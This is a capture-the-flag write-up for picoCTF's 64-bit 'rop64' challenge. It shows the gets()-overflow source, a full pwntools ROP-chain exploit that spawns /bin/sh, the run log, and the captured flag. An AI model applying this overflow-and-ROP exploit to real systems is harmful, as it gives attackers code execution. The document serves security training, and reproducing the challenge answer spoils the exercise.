Binary Exploitation, 400 points
Time for the classic ROP in 64-bit. Can you exploit this program to get a flag?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("Can you ROP your way out of this?\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
This is the follow-up for rop32 and is solved using the same strategy (using ROPGadget to generate a ROP chain).
# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
import os
from struct import pack
if shell is not None:
shell.set_working_directory(os.path.dirname(remote_path))
def send_payload(proc, payload):
proc.sendlineafter("Can you ROP your way out of this?", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(50, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
return offset
def get_rop(overflow_offset):
# execve generated by ROPgadget
# ROPgadget --binary ./vuln --ropchain --badbytes 0a
p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047b6ff) # syscall
return fit({overflow_offset: p})
overflow_offset = get_overflow_offset()
io = start()
payload = get_rop(overflow_offset)
log.info("Sending payload: \n{}".format(hexdump(payload)))
send_payload(io, payload)
io.interactive()
Output:
root@kali:/media/sf_CTFs/pico/rop64# python exploit.py
[*] '/media/sf_CTFs/pico/rop64/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] dvdalt@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.2pDYAyOQ8T'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/rop64_1_3a135066aff0c433faf93765baaa584d'
[+] Starting local process '/media/sf_CTFs/pico/rop64/vuln': pid 1265
[*] Process '/media/sf_CTFs/pico/rop64/vuln' stopped with exit code -11 (SIGSEGV) (pid 1265)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/rop64/core.1265'
Arch: amd64-64-little
RIP: 0x400b6e
RSP: 0x7ffefd4ec918
Exe: '/media/sf_CTFs/pico/rop64/vuln' (0x400000)
Fault: 0x6161616161616164
[*] Overflow offset: 24 (8-byte architecture)
[+] Starting remote process '/problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln' on 2019shell1.picoctf.com: pid 387
8739
[*] Sending payload:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 d3 00 41 00 00 00 00 00 │eaaa│faaa│··A·│····│
00000020 e0 90 6b 00 00 00 00 00 f4 56 41 00 00 00 00 00 │··k·│····│·VA·│····│
00000030 2f 62 69 6e 2f 2f 73 68 61 f5 47 00 00 00 00 00 │/bin│//sh│a·G·│····│
00000040 d3 00 41 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··A·│····│··k·│····│
00000050 50 4c 44 00 00 00 00 00 61 f5 47 00 00 00 00 00 │PLD·│····│a·G·│····│
00000060 86 06 40 00 00 00 00 00 e0 90 6b 00 00 00 00 00 │··@·│····│··k·│····│
00000070 d3 00 41 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··A·│····│··k·│····│
00000080 b5 99 44 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··D·│····│··k·│····│
00000090 50 4c 44 00 00 00 00 00 c0 49 47 00 00 00 00 00 │PLD·│····│·IG·│····│
000000a0 c0 49 47 00 00 00 00 00 c0 49 47 00 00 00 00 00 │·IG·│····│·IG·│····│
*
00000270 ff b6 47 00 00 00 00 00 │··G·│····││
00000278
[*] Switching to interactive mode
$ $ ls
flag.txt vuln vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}$ $
[*] Interrupted